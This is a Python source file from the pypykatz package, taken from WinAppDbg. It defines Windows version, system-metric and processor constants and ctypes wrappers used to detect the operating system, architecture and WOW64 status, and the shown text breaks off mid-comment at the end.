mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/version.py0000664000175000017500000010764714543266630024511 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Detect the current architecture and operating system. Some functions here are really from kernel32.dll, others from version.dll. """ from .defines import * #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== #--- NTDDI version ------------------------------------------------------------ NTDDI_WIN8 = 0x06020000 NTDDI_WIN7SP1 = 0x06010100 NTDDI_WIN7 = 0x06010000 NTDDI_WS08 = 0x06000100 NTDDI_VISTASP1 = 0x06000100 NTDDI_VISTA = 0x06000000 NTDDI_LONGHORN = NTDDI_VISTA NTDDI_WS03SP2 = 0x05020200 NTDDI_WS03SP1 = 0x05020100 NTDDI_WS03 = 0x05020000 NTDDI_WINXPSP3 = 0x05010300 NTDDI_WINXPSP2 = 0x05010200 NTDDI_WINXPSP1 = 0x05010100 NTDDI_WINXP = 0x05010000 NTDDI_WIN2KSP4 = 0x05000400 NTDDI_WIN2KSP3 = 0x05000300 NTDDI_WIN2KSP2 = 0x05000200 NTDDI_WIN2KSP1 = 0x05000100 NTDDI_WIN2K = 0x05000000 NTDDI_WINNT4 = 0x04000000 OSVERSION_MASK = 0xFFFF0000 SPVERSION_MASK = 0x0000FF00 SUBVERSION_MASK = 0x000000FF #--- OSVERSIONINFO and OSVERSIONINFOEX structures and constants --------------- VER_PLATFORM_WIN32s = 0 VER_PLATFORM_WIN32_WINDOWS = 1 VER_PLATFORM_WIN32_NT = 2 VER_SUITE_BACKOFFICE = 0x00000004 VER_SUITE_BLADE = 0x00000400 VER_SUITE_COMPUTE_SERVER = 0x00004000 VER_SUITE_DATACENTER = 0x00000080 VER_SUITE_ENTERPRISE = 0x00000002 VER_SUITE_EMBEDDEDNT = 0x00000040 VER_SUITE_PERSONAL = 0x00000200 VER_SUITE_SINGLEUSERTS = 0x00000100 VER_SUITE_SMALLBUSINESS = 0x00000001 VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020 VER_SUITE_STORAGE_SERVER = 0x00002000 VER_SUITE_TERMINAL = 0x00000010 VER_SUITE_WH_SERVER = 0x00008000 VER_NT_DOMAIN_CONTROLLER = 0x0000002 VER_NT_SERVER = 0x0000003 VER_NT_WORKSTATION = 0x0000001 VER_BUILDNUMBER = 0x0000004 VER_MAJORVERSION = 0x0000002 VER_MINORVERSION = 0x0000001 VER_PLATFORMID = 0x0000008 VER_PRODUCT_TYPE = 0x0000080 VER_SERVICEPACKMAJOR = 0x0000020 VER_SERVICEPACKMINOR = 0x0000010 VER_SUITENAME = 0x0000040 VER_EQUAL = 1 VER_GREATER = 2 VER_GREATER_EQUAL = 3 VER_LESS = 4 VER_LESS_EQUAL = 5 VER_AND = 6 VER_OR = 7 # typedef struct _OSVERSIONINFO { # DWORD dwOSVersionInfoSize; # DWORD dwMajorVersion; # DWORD dwMinorVersion; # DWORD dwBuildNumber; # DWORD dwPlatformId; # TCHAR szCSDVersion[128]; # }OSVERSIONINFO; class OSVERSIONINFOA(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", CHAR * 128), ] class OSVERSIONINFOW(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", WCHAR * 128), ] # typedef struct _OSVERSIONINFOEX { # DWORD dwOSVersionInfoSize; # DWORD dwMajorVersion; # DWORD dwMinorVersion; # DWORD dwBuildNumber; # DWORD dwPlatformId; # TCHAR szCSDVersion[128]; # WORD wServicePackMajor; # WORD wServicePackMinor; # WORD wSuiteMask; # BYTE wProductType; # BYTE wReserved; # }OSVERSIONINFOEX, *POSVERSIONINFOEX, *LPOSVERSIONINFOEX; class OSVERSIONINFOEXA(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", CHAR * 128), ("wServicePackMajor", WORD), ("wServicePackMinor", WORD), ("wSuiteMask", WORD), ("wProductType", BYTE), ("wReserved", BYTE), ] class OSVERSIONINFOEXW(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", WCHAR * 128), ("wServicePackMajor", WORD), ("wServicePackMinor", WORD), ("wSuiteMask", WORD), ("wProductType", BYTE), ("wReserved", BYTE), ] LPOSVERSIONINFOA = POINTER(OSVERSIONINFOA) LPOSVERSIONINFOW = POINTER(OSVERSIONINFOW) LPOSVERSIONINFOEXA = POINTER(OSVERSIONINFOEXA) LPOSVERSIONINFOEXW = POINTER(OSVERSIONINFOEXW) POSVERSIONINFOA = LPOSVERSIONINFOA POSVERSIONINFOW = LPOSVERSIONINFOW POSVERSIONINFOEXA = LPOSVERSIONINFOEXA POSVERSIONINFOEXW = LPOSVERSIONINFOA #--- GetSystemMetrics constants ----------------------------------------------- SM_CXSCREEN = 0 SM_CYSCREEN = 1 SM_CXVSCROLL = 2 SM_CYHSCROLL = 3 SM_CYCAPTION = 4 SM_CXBORDER = 5 SM_CYBORDER = 6 SM_CXDLGFRAME = 7 SM_CYDLGFRAME = 8 SM_CYVTHUMB = 9 SM_CXHTHUMB = 10 SM_CXICON = 11 SM_CYICON = 12 SM_CXCURSOR = 13 SM_CYCURSOR = 14 SM_CYMENU = 15 SM_CXFULLSCREEN = 16 SM_CYFULLSCREEN = 17 SM_CYKANJIWINDOW = 18 SM_MOUSEPRESENT = 19 SM_CYVSCROLL = 20 SM_CXHSCROLL = 21 SM_DEBUG = 22 SM_SWAPBUTTON = 23 SM_RESERVED1 = 24 SM_RESERVED2 = 25 SM_RESERVED3 = 26 SM_RESERVED4 = 27 SM_CXMIN = 28 SM_CYMIN = 29 SM_CXSIZE = 30 SM_CYSIZE = 31 SM_CXFRAME = 32 SM_CYFRAME = 33 SM_CXMINTRACK = 34 SM_CYMINTRACK = 35 SM_CXDOUBLECLK = 36 SM_CYDOUBLECLK = 37 SM_CXICONSPACING = 38 SM_CYICONSPACING = 39 SM_MENUDROPALIGNMENT = 40 SM_PENWINDOWS = 41 SM_DBCSENABLED = 42 SM_CMOUSEBUTTONS = 43 SM_CXFIXEDFRAME = SM_CXDLGFRAME # ;win40 name change SM_CYFIXEDFRAME = SM_CYDLGFRAME # ;win40 name change SM_CXSIZEFRAME = SM_CXFRAME # ;win40 name change SM_CYSIZEFRAME = SM_CYFRAME # ;win40 name change SM_SECURE = 44 SM_CXEDGE = 45 SM_CYEDGE = 46 SM_CXMINSPACING = 47 SM_CYMINSPACING = 48 SM_CXSMICON = 49 SM_CYSMICON = 50 SM_CYSMCAPTION = 51 SM_CXSMSIZE = 52 SM_CYSMSIZE = 53 SM_CXMENUSIZE = 54 SM_CYMENUSIZE = 55 SM_ARRANGE = 56 SM_CXMINIMIZED = 57 SM_CYMINIMIZED = 58 SM_CXMAXTRACK = 59 SM_CYMAXTRACK = 60 SM_CXMAXIMIZED = 61 SM_CYMAXIMIZED = 62 SM_NETWORK = 63 SM_CLEANBOOT = 67 SM_CXDRAG = 68 SM_CYDRAG = 69 SM_SHOWSOUNDS = 70 SM_CXMENUCHECK = 71 # Use instead of GetMenuCheckMarkDimensions()! SM_CYMENUCHECK = 72 SM_SLOWMACHINE = 73 SM_MIDEASTENABLED = 74 SM_MOUSEWHEELPRESENT = 75 SM_XVIRTUALSCREEN = 76 SM_YVIRTUALSCREEN = 77 SM_CXVIRTUALSCREEN = 78 SM_CYVIRTUALSCREEN = 79 SM_CMONITORS = 80 SM_SAMEDISPLAYFORMAT = 81 SM_IMMENABLED = 82 SM_CXFOCUSBORDER = 83 SM_CYFOCUSBORDER = 84 SM_TABLETPC = 86 SM_MEDIACENTER = 87 SM_STARTER = 88 SM_SERVERR2 = 89 SM_MOUSEHORIZONTALWHEELPRESENT = 91 SM_CXPADDEDBORDER = 92 SM_CMETRICS = 93 SM_REMOTESESSION = 0x1000 SM_SHUTTINGDOWN = 0x2000 SM_REMOTECONTROL = 0x2001 SM_CARETBLINKINGENABLED = 0x2002 #--- SYSTEM_INFO structure, GetSystemInfo() and GetNativeSystemInfo() --------- # Values used by Wine # Documented values at MSDN are marked with an asterisk PROCESSOR_ARCHITECTURE_UNKNOWN = 0xFFFF; # Unknown architecture. PROCESSOR_ARCHITECTURE_INTEL = 0 # x86 (AMD or Intel) * PROCESSOR_ARCHITECTURE_MIPS = 1 # MIPS PROCESSOR_ARCHITECTURE_ALPHA = 2 # Alpha PROCESSOR_ARCHITECTURE_PPC = 3 # Power PC PROCESSOR_ARCHITECTURE_SHX = 4 # SHX PROCESSOR_ARCHITECTURE_ARM = 5 # ARM PROCESSOR_ARCHITECTURE_IA64 = 6 # Intel Itanium * PROCESSOR_ARCHITECTURE_ALPHA64 = 7 # Alpha64 PROCESSOR_ARCHITECTURE_MSIL = 8 # MSIL PROCESSOR_ARCHITECTURE_AMD64 = 9 # x64 (AMD or Intel) * PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 = 10 # IA32 on Win64 PROCESSOR_ARCHITECTURE_SPARC = 20 # Sparc (Wine) # Values used by Wine # PROCESSOR_OPTIL value found at http://code.google.com/p/ddab-lib/ # Documented values at MSDN are marked with an asterisk PROCESSOR_INTEL_386 = 386 # Intel i386 * PROCESSOR_INTEL_486 = 486 # Intel i486 * PROCESSOR_INTEL_PENTIUM = 586 # Intel Pentium * PROCESSOR_INTEL_IA64 = 2200 # Intel IA64 (Itanium) * PROCESSOR_AMD_X8664 = 8664 # AMD X86 64 * PROCESSOR_MIPS_R4000 = 4000 # MIPS R4000, R4101, R3910 PROCESSOR_ALPHA_21064 = 21064 # Alpha 210 64 PROCESSOR_PPC_601 = 601 # PPC 601 PROCESSOR_PPC_603 = 603 # PPC 603 PROCESSOR_PPC_604 = 604 # PPC 604 PROCESSOR_PPC_620 = 620 # PPC 620 PROCESSOR_HITACHI_SH3 = 10003 # Hitachi SH3 (Windows CE) PROCESSOR_HITACHI_SH3E = 10004 # Hitachi SH3E (Windows CE) PROCESSOR_HITACHI_SH4 = 10005 # Hitachi SH4 (Windows CE) PROCESSOR_MOTOROLA_821 = 821 # Motorola 821 (Windows CE) PROCESSOR_SHx_SH3 = 103 # SHx SH3 (Windows CE) PROCESSOR_SHx_SH4 = 104 # SHx SH4 (Windows CE) PROCESSOR_STRONGARM = 2577 # StrongARM (Windows CE) PROCESSOR_ARM720 = 1824 # ARM 720 (Windows CE) PROCESSOR_ARM820 = 2080 # ARM 820 (Windows CE) PROCESSOR_ARM920 = 2336 # ARM 920 (Windows CE) PROCESSOR_ARM_7TDMI = 70001 # ARM 7TDMI (Windows CE) PROCESSOR_OPTIL = 0x494F # MSIL # typedef struct _SYSTEM_INFO { # union { # DWORD dwOemId; # struct { # WORD wProcessorArchitecture; # WORD wReserved; # } ; # } ; # DWORD dwPageSize; # LPVOID lpMinimumApplicationAddress; # LPVOID lpMaximumApplicationAddress; # DWORD_PTR dwActiveProcessorMask; # DWORD dwNumberOfProcessors; # DWORD dwProcessorType; # DWORD dwAllocationGranularity; # WORD wProcessorLevel; # WORD wProcessorRevision; # } SYSTEM_INFO; class _SYSTEM_INFO_OEM_ID_STRUCT(Structure): _fields_ = [ ("wProcessorArchitecture", WORD), ("wReserved", WORD), ] class _SYSTEM_INFO_OEM_ID(Union): _fields_ = [ ("dwOemId", DWORD), ("w", _SYSTEM_INFO_OEM_ID_STRUCT), ] class SYSTEM_INFO(Structure): _fields_ = [ ("id", _SYSTEM_INFO_OEM_ID), ("dwPageSize", DWORD), ("lpMinimumApplicationAddress", LPVOID), ("lpMaximumApplicationAddress", LPVOID), ("dwActiveProcessorMask", DWORD_PTR), ("dwNumberOfProcessors", DWORD), ("dwProcessorType", DWORD), ("dwAllocationGranularity", DWORD), ("wProcessorLevel", WORD), ("wProcessorRevision", WORD), ] def __get_dwOemId(self): return self.id.dwOemId def __set_dwOemId(self, value): self.id.dwOemId = value dwOemId = property(__get_dwOemId, __set_dwOemId) def __get_wProcessorArchitecture(self): return self.id.w.wProcessorArchitecture def __set_wProcessorArchitecture(self, value): self.id.w.wProcessorArchitecture = value wProcessorArchitecture = property(__get_wProcessorArchitecture, __set_wProcessorArchitecture) LPSYSTEM_INFO = ctypes.POINTER(SYSTEM_INFO) # void WINAPI GetSystemInfo( # __out LPSYSTEM_INFO lpSystemInfo # ); def GetSystemInfo(): _GetSystemInfo = windll.kernel32.GetSystemInfo _GetSystemInfo.argtypes = [LPSYSTEM_INFO] _GetSystemInfo.restype = None sysinfo = SYSTEM_INFO() _GetSystemInfo(byref(sysinfo)) return sysinfo # void WINAPI GetNativeSystemInfo( # __out LPSYSTEM_INFO lpSystemInfo # ); def GetNativeSystemInfo(): _GetNativeSystemInfo = windll.kernel32.GetNativeSystemInfo _GetNativeSystemInfo.argtypes = [LPSYSTEM_INFO] _GetNativeSystemInfo.restype = None sysinfo = SYSTEM_INFO() _GetNativeSystemInfo(byref(sysinfo)) return sysinfo # int WINAPI GetSystemMetrics( # __in int nIndex # ); def GetSystemMetrics(nIndex): _GetSystemMetrics = windll.user32.GetSystemMetrics _GetSystemMetrics.argtypes = [ctypes.c_int] _GetSystemMetrics.restype = ctypes.c_int return _GetSystemMetrics(nIndex) # SIZE_T WINAPI GetLargePageMinimum(void); def GetLargePageMinimum(): _GetLargePageMinimum = windll.user32.GetLargePageMinimum _GetLargePageMinimum.argtypes = [] _GetLargePageMinimum.restype = SIZE_T return _GetLargePageMinimum() # HANDLE WINAPI GetCurrentProcess(void); def GetCurrentProcess(): ## return 0xFFFFFFFFFFFFFFFFL _GetCurrentProcess = windll.kernel32.GetCurrentProcess _GetCurrentProcess.argtypes = [] _GetCurrentProcess.restype = HANDLE return _GetCurrentProcess() # HANDLE WINAPI GetCurrentThread(void); def GetCurrentThread(): ## return 0xFFFFFFFFFFFFFFFEL _GetCurrentThread = windll.kernel32.GetCurrentThread _GetCurrentThread.argtypes = [] _GetCurrentThread.restype = HANDLE return _GetCurrentThread() # BOOL WINAPI IsWow64Process( # __in HANDLE hProcess, # __out PBOOL Wow64Process # ); def IsWow64Process(hProcess): _IsWow64Process = windll.kernel32.IsWow64Process _IsWow64Process.argtypes = [HANDLE, PBOOL] _IsWow64Process.restype = bool _IsWow64Process.errcheck = RaiseIfZero Wow64Process = BOOL(FALSE) _IsWow64Process(hProcess, byref(Wow64Process)) return bool(Wow64Process) # DWORD WINAPI GetVersion(void); def GetVersion(): _GetVersion = windll.kernel32.GetVersion _GetVersion.argtypes = [] _GetVersion.restype = DWORD _GetVersion.errcheck = RaiseIfZero # See the example code here: # http://msdn.microsoft.com/en-us/library/ms724439(VS.85).aspx dwVersion = _GetVersion() dwMajorVersion = dwVersion & 0x000000FF dwMinorVersion = (dwVersion & 0x0000FF00) >> 8 if (dwVersion & 0x80000000) == 0: dwBuild = (dwVersion & 0x7FFF0000) >> 16 else: dwBuild = None return int(dwMajorVersion), int(dwMinorVersion), int(dwBuild) # BOOL WINAPI GetVersionEx( # __inout LPOSVERSIONINFO lpVersionInfo # ); def GetVersionExA(): _GetVersionExA = windll.kernel32.GetVersionExA _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOEXA)] _GetVersionExA.restype = bool _GetVersionExA.errcheck = RaiseIfZero osi = OSVERSIONINFOEXA() osi.dwOSVersionInfoSize = sizeof(osi) try: _GetVersionExA(byref(osi)) except WindowsError: osi = OSVERSIONINFOA() osi.dwOSVersionInfoSize = sizeof(osi) _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOA)] _GetVersionExA(byref(osi)) return osi def GetVersionExW(): _GetVersionExW = windll.kernel32.GetVersionExW _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOEXW)] _GetVersionExW.restype = bool _GetVersionExW.errcheck = RaiseIfZero osi = OSVERSIONINFOEXW() osi.dwOSVersionInfoSize = sizeof(osi) try: _GetVersionExW(byref(osi)) except WindowsError: osi = OSVERSIONINFOW() osi.dwOSVersionInfoSize = sizeof(osi) _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOW)] _GetVersionExW(byref(osi)) return osi GetVersionEx = GuessStringType(GetVersionExA, GetVersionExW) # BOOL WINAPI GetProductInfo( # __in DWORD dwOSMajorVersion, # __in DWORD dwOSMinorVersion, # __in DWORD dwSpMajorVersion, # __in DWORD dwSpMinorVersion, # __out PDWORD pdwReturnedProductType # ); def GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion): _GetProductInfo = windll.kernel32.GetProductInfo _GetProductInfo.argtypes = [DWORD, DWORD, DWORD, DWORD, PDWORD] _GetProductInfo.restype = BOOL _GetProductInfo.errcheck = RaiseIfZero dwReturnedProductType = DWORD(0) _GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion, byref(dwReturnedProductType)) return dwReturnedProductType.value # BOOL WINAPI VerifyVersionInfo( # __in LPOSVERSIONINFOEX lpVersionInfo, # __in DWORD dwTypeMask, # __in DWORDLONG dwlConditionMask # ); def VerifyVersionInfo(lpVersionInfo, dwTypeMask, dwlConditionMask): if isinstance(lpVersionInfo, OSVERSIONINFOEXA): return VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask) if isinstance(lpVersionInfo, OSVERSIONINFOEXW): return VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask) raise TypeError("Bad OSVERSIONINFOEX structure") def VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask): _VerifyVersionInfoA = windll.kernel32.VerifyVersionInfoA _VerifyVersionInfoA.argtypes = [LPOSVERSIONINFOEXA, DWORD, DWORDLONG] _VerifyVersionInfoA.restype = bool return _VerifyVersionInfoA(byref(lpVersionInfo), dwTypeMask, dwlConditionMask) def VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask): _VerifyVersionInfoW = windll.kernel32.VerifyVersionInfoW _VerifyVersionInfoW.argtypes = [LPOSVERSIONINFOEXW, DWORD, DWORDLONG] _VerifyVersionInfoW.restype = bool return _VerifyVersionInfoW(byref(lpVersionInfo), dwTypeMask, dwlConditionMask) # ULONGLONG WINAPI VerSetConditionMask( # __in ULONGLONG dwlConditionMask, # __in DWORD dwTypeBitMask, # __in BYTE dwConditionMask # ); def VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask): _VerSetConditionMask = windll.kernel32.VerSetConditionMask _VerSetConditionMask.argtypes = [ULONGLONG, DWORD, BYTE] _VerSetConditionMask.restype = ULONGLONG return _VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask) #--- get_bits, get_arch and get_os -------------------------------------------- ARCH_UNKNOWN = "unknown" ARCH_I386 = "i386" ARCH_MIPS = "mips" ARCH_ALPHA = "alpha" ARCH_PPC = "ppc" ARCH_SHX = "shx" ARCH_ARM = "arm" ARCH_ARM64 = "arm64" ARCH_THUMB = "thumb" ARCH_IA64 = "ia64" ARCH_ALPHA64 = "alpha64" ARCH_MSIL = "msil" ARCH_AMD64 = "amd64" ARCH_SPARC = "sparc" # aliases ARCH_IA32 = ARCH_I386 ARCH_X86 = ARCH_I386 ARCH_X64 = ARCH_AMD64 ARCH_ARM7 = ARCH_ARM ARCH_ARM8 = ARCH_ARM64 ARCH_T32 = ARCH_THUMB ARCH_AARCH32 = ARCH_ARM7 ARCH_AARCH64 = ARCH_ARM8 ARCH_POWERPC = ARCH_PPC ARCH_HITACHI = ARCH_SHX ARCH_ITANIUM = ARCH_IA64 # win32 constants -> our constants _arch_map = { PROCESSOR_ARCHITECTURE_INTEL : ARCH_I386, PROCESSOR_ARCHITECTURE_MIPS : ARCH_MIPS, PROCESSOR_ARCHITECTURE_ALPHA : ARCH_ALPHA, PROCESSOR_ARCHITECTURE_PPC : ARCH_PPC, PROCESSOR_ARCHITECTURE_SHX : ARCH_SHX, PROCESSOR_ARCHITECTURE_ARM : ARCH_ARM, PROCESSOR_ARCHITECTURE_IA64 : ARCH_IA64, PROCESSOR_ARCHITECTURE_ALPHA64 : ARCH_ALPHA64, PROCESSOR_ARCHITECTURE_MSIL : ARCH_MSIL, PROCESSOR_ARCHITECTURE_AMD64 : ARCH_AMD64, PROCESSOR_ARCHITECTURE_SPARC : ARCH_SPARC, } OS_UNKNOWN = "Unknown" OS_NT = "Windows NT" OS_W2K = "Windows 2000" OS_XP = "Windows XP" OS_XP_64 = "Windows XP (64 bits)" OS_W2K3 = "Windows 2003" OS_W2K3_64 = "Windows 2003 (64 bits)" OS_W2K3R2 = "Windows 2003 R2" OS_W2K3R2_64 = "Windows 2003 R2 (64 bits)" OS_W2K8 = "Windows 2008" OS_W2K8_64 = "Windows 2008 (64 bits)" OS_W2K8R2 = "Windows 2008 R2" OS_W2K8R2_64 = "Windows 2008 R2 (64 bits)" OS_VISTA = "Windows Vista" OS_VISTA_64 = "Windows Vista (64 bits)" OS_W7 = "Windows 7" OS_W7_64 = "Windows 7 (64 bits)" OS_SEVEN = OS_W7 OS_SEVEN_64 = OS_W7_64 OS_WINDOWS_NT = OS_NT OS_WINDOWS_2000 = OS_W2K OS_WINDOWS_XP = OS_XP OS_WINDOWS_XP_64 = OS_XP_64 OS_WINDOWS_2003 = OS_W2K3 OS_WINDOWS_2003_64 = OS_W2K3_64 OS_WINDOWS_2003_R2 = OS_W2K3R2 OS_WINDOWS_2003_R2_64 = OS_W2K3R2_64 OS_WINDOWS_2008 = OS_W2K8 OS_WINDOWS_2008_64 = OS_W2K8_64 OS_WINDOWS_2008_R2 = OS_W2K8R2 OS_WINDOWS_2008_R2_64 = OS_W2K8R2_64 OS_WINDOWS_VISTA = OS_VISTA OS_WINDOWS_VISTA_64 = OS_VISTA_64 OS_WINDOWS_SEVEN = OS_W7 OS_WINDOWS_SEVEN_64 = OS_W7_64 def _get_bits(): """ Determines the current integer size in bits. This is useful to know if we're running in a 32 bits or a 64 bits machine. @rtype: int @return: Returns the size of L{SIZE_T} in bits. """ return sizeof(SIZE_T) * 8 def _get_arch(): """ Determines the current processor architecture. @rtype: str @return: On error, returns: - L{ARCH_UNKNOWN} (C{"unknown"}) meaning the architecture could not be detected or is not known to WinAppDbg. On success, returns one of the following values: - L{ARCH_I386} (C{"i386"}) for Intel 32-bit x86 processor or compatible. - L{ARCH_AMD64} (C{"amd64"}) for Intel 64-bit x86_64 processor or compatible. May also return one of the following values if you get both Python and WinAppDbg to work in such machines... let me know if you do! :) - L{ARCH_MIPS} (C{"mips"}) for MIPS compatible processors. - L{ARCH_ALPHA} (C{"alpha"}) for Alpha processors. - L{ARCH_PPC} (C{"ppc"}) for PowerPC compatible processors. - L{ARCH_SHX} (C{"shx"}) for Hitachi SH processors. - L{ARCH_ARM} (C{"arm"}) for ARM compatible processors. - L{ARCH_IA64} (C{"ia64"}) for Intel Itanium processor or compatible. - L{ARCH_ALPHA64} (C{"alpha64"}) for Alpha64 processors. - L{ARCH_MSIL} (C{"msil"}) for the .NET virtual machine. - L{ARCH_SPARC} (C{"sparc"}) for Sun Sparc processors. Probably IronPython returns C{ARCH_MSIL} but I haven't tried it. Python on Windows CE and Windows Mobile should return C{ARCH_ARM}. Python on Solaris using Wine would return C{ARCH_SPARC}. Python in an Itanium machine should return C{ARCH_IA64} both on Wine and proper Windows. All other values should only be returned on Linux using Wine. """ try: si = GetNativeSystemInfo() except Exception: si = GetSystemInfo() try: return _arch_map[si.id.w.wProcessorArchitecture] except KeyError: return ARCH_UNKNOWN def _get_wow64(): """ Determines if the current process is running in Windows-On-Windows 64 bits. @rtype: bool @return: C{True} of the current process is a 32 bit program running in a 64 bit version of Windows, C{False} if it's either a 32 bit program in a 32 bit Windows or a 64 bit program in a 64 bit Windows. """ # Try to determine if the debugger itself is running on WOW64. # On error assume False. if bits == 64: wow64 = False else: try: wow64 = IsWow64Process( GetCurrentProcess() ) except Exception: wow64 = False return wow64 def _get_os(osvi = None): """ Determines the current operating system. This function allows you to quickly tell apart major OS differences. For more detailed information call L{GetVersionEx} instead. @note: Wine reports itself as Windows XP 32 bits (even if the Linux host is 64 bits). ReactOS may report itself as Windows 2000 or Windows XP, depending on the version of ReactOS. @type osvi: L{OSVERSIONINFOEXA} @param osvi: Optional. The return value from L{GetVersionEx}. @rtype: str @return: One of the following values: - L{OS_UNKNOWN} (C{"Unknown"}) - L{OS_NT} (C{"Windows NT"}) - L{OS_W2K} (C{"Windows 2000"}) - L{OS_XP} (C{"Windows XP"}) - L{OS_XP_64} (C{"Windows XP (64 bits)"}) - L{OS_W2K3} (C{"Windows 2003"}) - L{OS_W2K3_64} (C{"Windows 2003 (64 bits)"}) - L{OS_W2K3R2} (C{"Windows 2003 R2"}) - L{OS_W2K3R2_64} (C{"Windows 2003 R2 (64 bits)"}) - L{OS_W2K8} (C{"Windows 2008"}) - L{OS_W2K8_64} (C{"Windows 2008 (64 bits)"}) - L{OS_W2K8R2} (C{"Windows 2008 R2"}) - L{OS_W2K8R2_64} (C{"Windows 2008 R2 (64 bits)"}) - L{OS_VISTA} (C{"Windows Vista"}) - L{OS_VISTA_64} (C{"Windows Vista (64 bits)"}) - L{OS_W7} (C{"Windows 7"}) - L{OS_W7_64} (C{"Windows 7 (64 bits)"}) """ # rough port of http://msdn.microsoft.com/en-us/library/ms724429%28VS.85%29.aspx if not osvi: osvi = GetVersionEx() if osvi.dwPlatformId == VER_PLATFORM_WIN32_NT and osvi.dwMajorVersion > 4: if osvi.dwMajorVersion == 6: if osvi.dwMinorVersion == 0: if osvi.wProductType == VER_NT_WORKSTATION: if bits == 64 or wow64: return 'Windows Vista (64 bits)' return 'Windows Vista' else: if bits == 64 or wow64: return 'Windows 2008 (64 bits)' return 'Windows 2008' if osvi.dwMinorVersion == 1: if osvi.wProductType == VER_NT_WORKSTATION: if bits == 64 or wow64: return 'Windows 7 (64 bits)' return 'Windows 7' else: if bits == 64 or wow64: return 'Windows 2008 R2 (64 bits)' return 'Windows 2008 R2' if osvi.dwMajorVersion == 5: if osvi.dwMinorVersion == 2: if GetSystemMetrics(SM_SERVERR2): if bits == 64 or wow64: return 'Windows 2003 R2 (64 bits)' return 'Windows 2003 R2' if osvi.wSuiteMask in (VER_SUITE_STORAGE_SERVER, VER_SUITE_WH_SERVER): if bits == 64 or wow64: return 'Windows 2003 (64 bits)' return 'Windows 2003' if osvi.wProductType == VER_NT_WORKSTATION and arch == ARCH_AMD64: return 'Windows XP (64 bits)' else: if bits == 64 or wow64: return 'Windows 2003 (64 bits)' return 'Windows 2003' if osvi.dwMinorVersion == 1: return 'Windows XP' if osvi.dwMinorVersion == 0: return 'Windows 2000' if osvi.dwMajorVersion == 4: return 'Windows NT' return 'Unknown' def _get_ntddi(osvi): """ Determines the current operating system. This function allows you to quickly tell apart major OS differences. For more detailed information call L{kernel32.GetVersionEx} instead. @note: Wine reports itself as Windows XP 32 bits (even if the Linux host is 64 bits). ReactOS may report itself as Windows 2000 or Windows XP, depending on the version of ReactOS. @type osvi: L{OSVERSIONINFOEXA} @param osvi: Optional. The return value from L{kernel32.GetVersionEx}. @rtype: int @return: NTDDI version number. """ if not osvi: osvi = GetVersionEx() ntddi = 0 ntddi += (osvi.dwMajorVersion & 0xFF) << 24 ntddi += (osvi.dwMinorVersion & 0xFF) << 16 ntddi += (osvi.wServicePackMajor & 0xFF) << 8 ntddi += (osvi.wServicePackMinor & 0xFF) return ntddi # The order of the following definitions DOES matter! # Current integer size in bits. See L{_get_bits} for more details. bits = _get_bits() # Current processor architecture. See L{_get_arch} for more details. arch = _get_arch() # Set to C{True} if the current process is running in WOW64. See L{_get_wow64} for more details. wow64 = _get_wow64() _osvi = GetVersionEx() # Current operating system. See L{_get_os} for more details. os = _get_os(_osvi) # Current operating system as an NTDDI constant. See L{_get_ntddi} for more details. NTDDI_VERSION = _get_ntddi(_osvi) # Upper word of 